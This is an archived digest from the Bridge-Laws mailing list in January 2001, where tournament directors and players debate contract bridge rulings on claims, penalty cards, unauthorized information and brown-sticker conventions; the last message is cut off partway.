twm@cix.compulink.co.uk Reply-To: twm@cix.compulink.co.uk Message-Id: Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In-Reply-To: <016101c0858c$c7887b60$2ec188d1@kay> Nelson Ford wrote: > > He can't state how he will take them. It's too late for a > > clarification statement. Even though his intended line was cold for > > 6, his intended line is now irrelevant. If there is a careless or > > inferior line of play that gives him only 5, even a really stupid > > such line of play, he will be stuck with it. > > In which case, he was blowing smoke when he stated that > 6 was COLD, which in my bridge dictionary means that it > must make by any (L70) "normal" line of play. So he gets > what he deserves if it is NOT cold. Try AKxxx QJTxx AQ xx AKQ xxx AJT Kxx on a trump lead. Not only is this cold for six but a line of play involving two finesses cannot be imposed because it conflicts with the claim statement:-). You might make seven if the HK is singleton. Many people would regard a two finesse approach as normal. Tim West-Meads -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 21:30:51 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0OAUii07043 for bridge-laws-outgoing; Wed, 24 Jan 2001 21:30:44 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from technetium.cix.co.uk (technetium.cix.co.uk [194.153.0.53]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0OAUXt07034 for ; Wed, 24 Jan 2001 21:30:34 +1100 (EST) Received: (from cix@localhost) by technetium.cix.co.uk (8.11.2/8.11.2) id f0OAUPb28512 for bridge-laws@rgb.anu.edu.au; Wed, 24 Jan 2001 10:30:25 GMT X-Envelope-From: twm@cix.compulink.co.uk Date: Wed, 24 Jan 2001 10:30 +0000 (GMT) From: twm@cix.compulink.co.uk (Tim West-meads) Subject: Re: [BLML] penalties AND UI - too much ? To: bridge-laws@rgb.anu.edu.au Cc: twm@cix.compulink.co.uk Reply-To: twm@cix.compulink.co.uk Message-Id: Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In-Reply-To: DWS wrote: > >IIRC this is not the law. The AI is that the diamond ace must be > >played *at the first [legal] opportunity*. It is, IMO, completely > >illogical to make a lead which might enable declarer to force a > >discard of the DA on some other suit. > No, Tim, it is not illogical if it is required by Law. Then it is > merely extremely annoying. > > If you are allowed to stop it being discarded in this way then it may > be logical to do so. But the question is whether it is legitimate to do > so. I think you have these questions the wrong way round. The law in question can only require you to take a *logical* alternative. So if it is illogical to lead anything but a diamond (based solely on the AI that the DA will probably have to be discarded if you don't) it must be legal to lead a diamond. I am working from the premise that it is almost always right to get rid of partner's MPC as soon as possible (of course there are going to be exceptions but I suspect seldom). That, surely, is the easy bit. The answer must be yes to all three. > Everyone happy? I am (sort of, I'd prefer "Pick it up, DK is UI, play on" to be the law) > 4. Suppose partner has shown 5/6 points in the bidding. Is the fact > that he has not got an ace elsewhere in the hand UI? > > This is perhaps less clear. Agreed! It seems to me inherent in the AI "partner will play DK at his first opportunity" that partner *has* the DK. If the DK was picked up (for whatever reason) then it seems clear that its possession then becomes definitely UI. However this seems messy. > Note that this item can be extended to lots of deductions: can you > make deductions about the rest of the hand in any way from knowledge of > the DK or is it UI? > 5. Suppose you hold the DA. You need to put partner in to lead a > heart. If you lead a diamond then partner will play the DK. Is it UI > that this is a guaranteed entry? > > I do not believe that there will be any consensus on this! Tim seems > to think it is illogical not to play for it but the question is whether > it is UI or whether it is AI. It is AI that I hold DA, it is AI that partner will play DK at his first opportunity. From this AI, and this alone, I can deduce that a small diamond gives an entry to partner's hand. I think I am allowed to base my play on deductions from AI. If my partnership appears to gain from an unlikely play then please hit partner under "could have known". (Although if *I* suspect he did it deliberately I'll be playing misere anyway). Tim West-Meads -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 21:35:02 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0OAYs207142 for bridge-laws-outgoing; Wed, 24 Jan 2001 21:34:55 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from resu1.ulb.ac.be (resu1.ulb.ac.be [164.15.59.200]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0OAYmt07138 for ; Wed, 24 Jan 2001 21:34:48 +1100 (EST) Received: from mach.vub.ac.be (mach.ulb.ac.be [164.15.128.3]) by resu1.ulb.ac.be (8.8.8/3.17.0.ap (resu)) id LAA20485; Wed, 24 Jan 2001 11:30:39 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id LAA25305; Wed, 24 Jan 2001 11:34:34 +0100 (MET) for Message-Id: <3.0.6.32.20010124114700.00850d40@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Wed, 24 Jan 2001 11:47:00 +0100 To: Adam Beneschan , bridge-laws@rgb.anu.edu.au From: alain gottcheiner Subject: Re: [BLML] Another penalty card and UI question Cc: adam@irvine.com In-Reply-To: <200101240113.RAA17289@mailhub.irvine.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 17:13 23/01/01 -0800, Adam Beneschan wrote: > >Law 50D1 says a major penalty card must be played at the first legal >opportunity. What's the definition of "legal" here? > >This one is easy, right? It means you must play the card at your next >opportunity to play, when the obligation to follow suit does not >prevent you from doing so. > >OK, so what happens here? > >LHO opens 1S; RHO bids 2D; LHO bids 2NT. At this point, partner asks >a whole lot of pointed questions about the 2D bid, and then passes. >RHO then bids 3NT, ending the auction. Partner leads a heart. > >On this trick, you play the jack of diamonds; then you say, "Ooops, I >have to follow suit". So you then play the ace of hearts. Now what? > >Without the penalty card situation, the jack of diamonds would be an >illegal play, being demonstrably suggested by unauthorized >information. However, if the answer to my first question is correct, >the definition of "legal" used by L50D1 doesn't include plays that are >illegal for this reason. So, since this is your first legal >opportunity, you play the diamond jack. Of course, this sets up the >suit partner "bid", and down goes the contract. > >When the opponents call for the director, you explain that the TD has >no power to adjust, since, although the diamond lead was demonstrably >suggested by the UI, you had no logical alternative to the diamond >lead, since you were required to follow Law 50D1. AG : L72B1 applies. At the moment the player faced the DJ, he knew it could help him, in making the play of a diamond a command rather than an infraction to L16. Correct the score to whatever the result would have been without a D switch. (unless it is obvious, ie the 2D bidder has 2 small diamonds). Apply a procedural penalty and possibly conduct formal hearing, but above all be convinced that the spirit of 'could have knoxn' applies here. A. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 21:45:35 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0OAhmw07281 for bridge-laws-outgoing; Wed, 24 Jan 2001 21:43:48 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.rdc1.md.home.com (imail@ha1.rdc1.md.home.com [24.2.2.66]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0OAhgt07277 for ; Wed, 24 Jan 2001 21:43:43 +1100 (EST) Received: from BRIAN ([24.180.160.52]) by mail.rdc1.md.home.com (InterMail vM.4.01.03.00 201-229-121) with SMTP id <20010124104337.SGFU10139.mail.rdc1.md.home.com@BRIAN> for ; Wed, 24 Jan 2001 02:43:37 -0800 From: Brian Meadows To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] penalties AND UI - too much ? Date: Wed, 24 Jan 2001 05:42:54 -0500 Reply-To: brian@meadows.pair.com Message-ID: <58ct6t4k87dtl1ftnf0pfdudtka8n7tssi@4ax.com> References: <01C082FA.E03553C0.tsvecfob@iol.ie> <3A6B24AC.273ACB03@village.uunet.be> <3A6DB2B9.30459672@village.uunet.be> In-Reply-To: <3A6DB2B9.30459672@village.uunet.be> X-Mailer: Forte Agent 1.8/32.548 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On Tue, 23 Jan 2001 17:35:05 +0100, Herman deWael wrote: >I was merely saying that in this thread, we do not need the >input of the player, when that player says "this law >stinks". >I believe we can all agree on that. > I still believe it did no harm, and quite possibly some good, if one post stated that explicitly. As far as my reading of this list goes, that point had not been made at the time when I wrote my original post. Given the amount of bandwidth that is regularly expended on discussing the finer points of English grammar, I think BLML can take the overhead. ;-) IMHO, the fact that there is a need for discussion on a law where, to use your words, the readership of BLML can all agree that the players will think it stinks, should act as a flag to TPTB to at least consider whether or not they got it right the first time. Maybe you will say, given the readership of BLML, that discussing it here is part of that process. If so, good! I still think it does no harm to note the (perceived?) opinions of the players, even if the vast majority of you believe you already know them. Players play this game for their own enjoyment, NOT to keep TDs (and WBFLC members, for that matter!) in a job. Enforcing laws on players which are as near universally regarded as bad laws as you seem to suggest does not (IMHO) help popularize the game one bit, and that consideration should (again, IMHO) weigh very heavily with the lawmakers. If there is some compelling requirement why an enormously unpopular law simply *MUST* be put in place, then fine, go ahead and do it, and the TDs can explain the justification to the players. If this is the case with the particular law under discussion, I have missed the details of that requirement, and no doubt someone will enlighten me. Brian. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 23:09:46 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0OC8oP26676 for bridge-laws-outgoing; Wed, 24 Jan 2001 23:08:51 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from guppy.vub.ac.be (guppy.vub.ac.be [134.184.129.2]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0OC8Zt26666 for ; Wed, 24 Jan 2001 23:08:43 +1100 (EST) Received: from mach.vub.ac.be (mach.vub.ac.be [134.184.129.3]) by guppy.vub.ac.be (8.9.1b+Sun/3.17.0.ap (guppy)) id NAA02642; Wed, 24 Jan 2001 13:05:48 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id NAA29431; Wed, 24 Jan 2001 13:08:12 +0100 (MET) for Message-Id: <3.0.6.32.20010124132038.00841e30@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Wed, 24 Jan 2001 13:20:38 +0100 To: "Peter Swensson" , bridge-laws@rgb.anu.edu.au From: alain gottcheiner Subject: Re: SV: [BLML] Fw: wbf brown sticker question In-Reply-To: <002b01c085ea$53f85900$bf1c40d5@oemcomputer> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 10:44 24/01/01 +0100, you wrote: >I can't see the distiction ... if "a weak two" may be on a five card suit, then ... > >please explain AG : 'weak 2-bid' is the name of a convention by which the opening of 2H or 2S shows a long suit -with specific quality and length requirements to be precised-, in a hand below opening -strength to be precised- ; certain patterns (such as holding Hxxx in the other major- may be conventionally excluded. Thus I might state on my CC 'weak 2, 8-11 HCP, good suit, occasional strong 5-carder, denies other biddable suit'. Or 'weak 2, loose, 6+ HCP, any 5-carder will do' (remember EAHA ?) If some other suit is always held, the convention ceases to be a 'weak two', and becomes eg a 'Roman 2H/S' (major + clubs), a 'Flannery 2H' (5H + 4S) or a 'weak + minor' (Dutch 2). As an exception to the BSC rules, you are allowed to play a Multi 2 Diamonds, ie an opening 2D which shows either the equivalent of a weak 2 bid in H or a weak 2 bid in spades, or one or more strong types. You are not allowed to play an opening 2D (or whatever) that shows either the equivalent of a Roman 2-bid, or strong types. Same holds for 55 conventions. The important thing is that 'weak 2' doesn't only mean 'weak hand and long suit', it also means that partner will at first only know you hold that one suit you bid and act accordingly. Nothing bars you from having a strong response to ask for side suits. But the message of a 'weak 2' is restricted to one suit. However, you are allowed to use a 2D opening which shows any *strong* 55 hand (more than a minimum opening ; such strength-showing bids are never considered BSCs. A. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 23:57:43 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0OCvFI27334 for bridge-laws-outgoing; Wed, 24 Jan 2001 23:57:15 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stmpy-1.cais.net (stmpy-1.cais.net [205.252.14.71]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0OCv8t27328 for ; Wed, 24 Jan 2001 23:57:08 +1100 (EST) Received: from elandau.cais.com (207-176-64-97.dup.cais.net [207.176.64.97]) by stmpy-1.cais.net (8.11.1/8.11.1) with ESMTP id f0OCv3860724 for ; Wed, 24 Jan 2001 07:57:04 -0500 (EST) Message-Id: <4.3.2.7.1.20010124074904.00b2a5e0@127.0.0.1> X-Sender: elandau/pop.cais.com@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 24 Jan 2001 07:58:47 -0500 To: Bridge Laws Discussion List From: Eric Landau Subject: Re: [BLML] Let's get back to the easy stuff In-Reply-To: <3A6C4E5E.8274A409@village.uunet.be> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 10:14 AM 1/22/01, Herman wrote: >The bid you have made is AI, but the fact that you have made >it is UI. >So if you intended to bid 1He, and you've put down 1Sp, your >bid of 1Sp is UI. >This can become AI again when something happens at the table >(that is in itself AI, such as a bid by partner or opponent >that is incomprehensible) that makes you ask for a review of >the auction. Would this not mean that you are not permitted to ask for a review for the sole purpose of making the fact that you yourself made the bid AI to yourself, and thus make your decision to ask for a review of the auction subject to adjudication of merit by a TD or AC? I can hear it now -- "He only asked for that review so he would know that he bid what he knew he bid; we want an adjustment!" Is that not as ridiculous as it sounds (as well as an outright contradiction of L20B)? Eric Landau elandau@cais.com APL Solutions, Inc. elandau@acm.org 1107 Dale Drive (301) 589-4621 Silver Spring MD 20910-1607 Fax (301) 589-4618 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 00:04:52 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0OD1Tt27437 for bridge-laws-outgoing; Thu, 25 Jan 2001 00:01:29 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stmpy-3.cais.net (stmpy-3.cais.net [205.252.14.73]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0OD1Mt27431 for ; Thu, 25 Jan 2001 00:01:23 +1100 (EST) Received: from elandau.cais.com (207-176-64-97.dup.cais.net [207.176.64.97]) by stmpy-3.cais.net (8.11.1/8.11.1) with ESMTP id f0OD1IR21099 for ; Wed, 24 Jan 2001 08:01:18 -0500 (EST) Message-Id: <4.3.2.7.1.20010124080050.00ab3100@127.0.0.1> X-Sender: elandau/pop.cais.com@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 24 Jan 2001 08:03:02 -0500 To: Bridge Laws Discussion List From: Eric Landau Subject: Re: [BLML] Let's get back to the easy stuff In-Reply-To: References: <4.3.2.7.1.20010121181115.00b20350@127.0.0.1> <4.3.2.7.1.20010118084518.00b11820@127.0.0.1> <01C080C7.541B5AE0@MIKE> <4.3.2.7.1.20010118084518.00b11820@127.0.0.1> <4.3.2.7.1.20010121181115.00b20350@127.0.0.1> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 12:01 PM 1/22/01, David wrote: >Eric Landau writes > >At 10:05 AM 1/19/01, David wrote: > > > >>Eric Landau writes > >> > > >> >Indeed. I did not intend "it" to have "action" as its referent, but > >> >wrote badly. Let me try again: North should not take any action by > >> >which he is likely to achieve a more successful outcome with partner > >> >barred than what would have been the expected outcome with his > partner > >> >free to bid. > >> > >> Why not? > >> > >> L72A5. > > > >Because of the "recently added spate of 'might have's and 'could > >have's" of which I wrote in the message from which the above is > >quoted. Until the latest revision of the laws, he would have been > >unconstrained, per L72A5, unless one [I intend to make no further > >contribution to *that* thread] were prepared to find a violation of > >L72B2 (more precisely, its predecessor, L72B1). But with the laws > >being rewritten so as to accommodate those who have forced us to accept > >that a finding of violation of a law such as 72B2 may consitute an > >actionable accusation of cheating, the current L72B1 was added, which > >seems to constrain players not to take an action which might appear to > >resemble a violation of L72B2, regardless of their intention. > > Regardless of their intention, correct, but *not* regardless of their >ability to foresee the situation. You cannot use L72B1 to adjust in a >situation which is not foreseeable because then a player took advantage. > > If you bid out of turn with a Yarborough, silencing partner, then you >can see that it might be helpful to do so, so L72B1 could be applied to >you. > > If you bid out of turn with a 16 HCP hand, silencing partner, then you >can have no conceivable notion that this would work to your benefit, so >L72B1 cannot be used. Now that partner is silenced, you are entitled by >L72A5 to do your best to recover the situation, and that includes >finishing in a situation where you have gained from the BOOT. It seems, I am delighted to discover, that we have been in agreement all along. Eric Landau elandau@cais.com APL Solutions, Inc. elandau@acm.org 1107 Dale Drive (301) 589-4621 Silver Spring MD 20910-1607 Fax (301) 589-4618 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 00:06:17 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0OD3cm27496 for bridge-laws-outgoing; Thu, 25 Jan 2001 00:03:38 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.cswnet.com (mail.cswnet.com [209.136.192.23]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0OD3Ut27489 for ; Thu, 25 Jan 2001 00:03:31 +1100 (EST) Received: from kay (ashsv1-14.cswnet.com [209.136.193.14]) by mail.cswnet.com (Postfix) with SMTP id 598365D019; Wed, 24 Jan 2001 07:03:25 -0600 (CST) Message-ID: <001701c08606$647fd980$0ec188d1@kay> From: "Nelson/Kay Ford" To: "Kevin Perkins" , References: <200101230259.SAA25487@mailhub.irvine.com> <200101222054.MAA17289@mailhub.irvine.com> <200101230259.SAA25487@mailhub.irvine.com> <3.0.6.32.20010123141104.00810580@ux1.cts.eiu.edu> <000f01c0857f$e50191c0$1113f7a5@james> <002901c085b6$2fd1e200$2f48a718@austin.rr.com> Subject: Re: [BLML] Claim? Date: Wed, 24 Jan 2001 07:05:56 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk ----- Original Message ----- From: "Kevin Perkins" To: Sent: Tuesday, January 23, 2001 9:31 PM Subject: Re: [BLML] Claim? > I polled the bridge players in my area for one week. After 97 people, > including 3 directors, none of the people questioned believed the remarks in > question were a claim. So does widespread ignorance of a Law mean that it does not have to be inforced? I had never looked at a rule book until a local director made 4 wrong rulings against me in one session. After I started studying the rules, I discovered many nuances (some not at all subtle) about which I was unaware. One of these is that a player does not necessarily have to play a minor penalty card at the first opportunity. I polled about a half-dozen directors here in two clubs and NONE of them were aware of this part of the rule. Few (if any) players around here are even aware there *is* such a thing as a "minor" penalty card (except the players I have told when ruling at their table). Do you suggest I quit enforcing this rule (and other little-known rules) as well? Nelson Ford -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 00:09:50 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0OD9QJ27626 for bridge-laws-outgoing; Thu, 25 Jan 2001 00:09:26 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stmpy-3.cais.net (stmpy-3.cais.net [205.252.14.73]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0OD9Kt27622 for ; Thu, 25 Jan 2001 00:09:20 +1100 (EST) Received: from elandau.cais.com (207-176-64-97.dup.cais.net [207.176.64.97]) by stmpy-3.cais.net (8.11.1/8.11.1) with ESMTP id f0OD9GR21570 for ; Wed, 24 Jan 2001 08:09:16 -0500 (EST) Message-Id: <4.3.2.7.1.20010124080748.00b21de0@127.0.0.1> X-Sender: elandau/pop.cais.com@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 24 Jan 2001 08:11:00 -0500 To: Bridge Laws Discussion List From: Eric Landau Subject: Re: [BLML] Let's get back to the easy stuff In-Reply-To: References: <4.3.2.7.1.20010122081352.00ab4e80@127.0.0.1> <3.0.6.32.20010119175143.00841150@pop.ulb.ac.be> <01C080C7.541B5AE0@MIKE> <4.3.2.7.1.20010118084518.00b11820@127.0.0.1> <3.0.6.32.20010119175143.00841150@pop.ulb.ac.be> <$jnOJuAoLda6Ew0a@blakjak.demon.co.uk> <4.3.2.7.1.20010122081352.00ab4e80@127.0.0.1> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 12:03 PM 1/22/01, David wrote: >Eric Landau writes > >At 01:03 PM 1/20/01, David wrote: > > > >> If you commit an infraction which silences partner, and you > could not > >>have seen an advantage at the time of the infraction, then it is legal > >>thereafter to take an action that gives you an advantage - L72A5. > > > >Of course. But when you bar partner, thus placing yourself in a > >position where you alone determine the actions taken by the > >partnership, and bid yourself to a contract in which your expected > >result is better than what you would likely have achieved had you not > >barred partner, it becomes nearly impossible to refute the position > >that you "could have known" that barring partner would work to your > >advantage, notwithstanding the fact that it never occured to you. > > Not so. When you open out of turn on a 16 HCP hand it is not credible >that you expect this to work to your advantage, so L72B1 does not apply. Again, we are apparently in agreement. Perhaps I should have written "...in which your expected result (based on your own hand) is better...", but I thought this was clear. Eric Landau elandau@cais.com APL Solutions, Inc. elandau@acm.org 1107 Dale Drive (301) 589-4621 Silver Spring MD 20910-1607 Fax (301) 589-4618 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 00:24:41 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0ODOH727715 for bridge-laws-outgoing; Thu, 25 Jan 2001 00:24:18 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-11.mail.demon.net (finch-post-11.mail.demon.net [194.217.242.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0ODO5t27700 for ; Thu, 25 Jan 2001 00:24:06 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-11.mail.demon.net with smtp (Exim 2.12 #1) id 14LPu3-0000JD-0B for bridge-laws@rgb.anu.edu.au; Wed, 24 Jan 2001 13:24:01 +0000 Message-ID: Date: Wed, 24 Jan 2001 04:04:50 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Claim? References: <200101230259.SAA25487@mailhub.irvine.com> <200101222054.MAA17289@mailhub.irvine.com> <200101230259.SAA25487@mailhub.irvine.com> <3.0.6.32.20010123141104.00810580@ux1.cts.eiu.edu> <000f01c0857f$e50191c0$1113f7a5@james> In-Reply-To: <000f01c0857f$e50191c0$1113f7a5@james> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Craig Senior writes >We have an equivalent to your little league game...the novice >game. We sometimes do ease enforcement, and always explain >carefully any penalties. But when the novices have learned >enough to play with the big boys we don't coddle them anymore. >If Sammy Sosa's manager helps him get up to run to first base >that is indeed a different kettle of fish as you admit. (This is >based ob the theory that all rulings go against Cubs :))) > >Your assertion that 99.99999999 (or however many decimals) >percent think that "Oops, we underbid, we're making game" and >its slam equivalent is not a claim is highly questionable. I >think David Burn, Grattan, I and several others disagree. I >doubt you have 50% of this list with you. Why do you assume that >we are not a fair sample of bridge players? Surely you do not >believe that only the ignorant and uncaring believe as you do. >:-)) When the rulebook says 2+2=4, there will not be too many >who will insist the answer should be 5 because 4 isn't "fair". >What is fair is what the Laws say is fair. I think we have not got sufficient evidence to have any clue what 50% of this list think. Remember how many people are posting to this thread. We have reached a position where one side says the wording is clear so it is a claim, and one side says that the ramifications cannot have been meant to be so terrible, and if everyone knows it is not a claim thne it cannot be a claim. I really do not think we can say how many people support which position. >If you despise this law, then by all means work to change it. >That is your right and probably your obligation. But please do >not strain at gnats to deny that it says what it says, >especially with the information we have about its provenance and >the intent of its framers. > >I disagree that it should be changed. Casual conversation of >this sort needs to be discouraged in all but social games. In a >social game, no one will ever call the director in the first >place (if there even is one). The law as written is appropriate >for tournament bridge, should stand, and should be enforced. Now hold it a moment: if you want to discourage casual chat, then discourage casual chat - but not by ambush. There are perfectly adequate Laws anyway. If you believe casual chat upsets people [I don't, but assume it does, as a premise] then we have L74A. We are not talking of discouraging casual chat: we are talking of a remark made by mistake, by involuntary ejaculation *or* by casual chat being treated as a claim when it was known not to be intended as such. It is a different matter. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 00:24:42 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0ODOMj27718 for bridge-laws-outgoing; Thu, 25 Jan 2001 00:24:22 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-12.mail.demon.net (finch-post-12.mail.demon.net [194.217.242.41]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0ODO9t27709 for ; Thu, 25 Jan 2001 00:24:10 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-12.mail.demon.net with smtp (Exim 2.12 #1) id 14LPu4-0009sv-0C for bridge-laws@rgb.anu.edu.au; Wed, 24 Jan 2001 13:24:02 +0000 Message-ID: Date: Wed, 24 Jan 2001 04:19:35 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Another penalty card and UI question References: <200101240113.RAA17289@mailhub.irvine.com> In-Reply-To: <200101240113.RAA17289@mailhub.irvine.com> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Adam Beneschan writes > >Law 50D1 says a major penalty card must be played at the first legal >opportunity. What's the definition of "legal" here? > >This one is easy, right? It means you must play the card at your next >opportunity to play, when the obligation to follow suit does not >prevent you from doing so. > >OK, so what happens here? > >LHO opens 1S; RHO bids 2D; LHO bids 2NT. At this point, partner asks >a whole lot of pointed questions about the 2D bid, and then passes. >RHO then bids 3NT, ending the auction. Partner leads a heart. > >On this trick, you play the jack of diamonds; then you say, "Ooops, I >have to follow suit". So you then play the ace of hearts. Now what? > >Without the penalty card situation, the jack of diamonds would be an >illegal play, being demonstrably suggested by unauthorized >information. However, if the answer to my first question is correct, >the definition of "legal" used by L50D1 doesn't include plays that are >illegal for this reason. So, since this is your first legal >opportunity, you play the diamond jack. Of course, this sets up the >suit partner "bid", and down goes the contract. > >When the opponents call for the director, you explain that the TD has >no power to adjust, since, although the diamond lead was 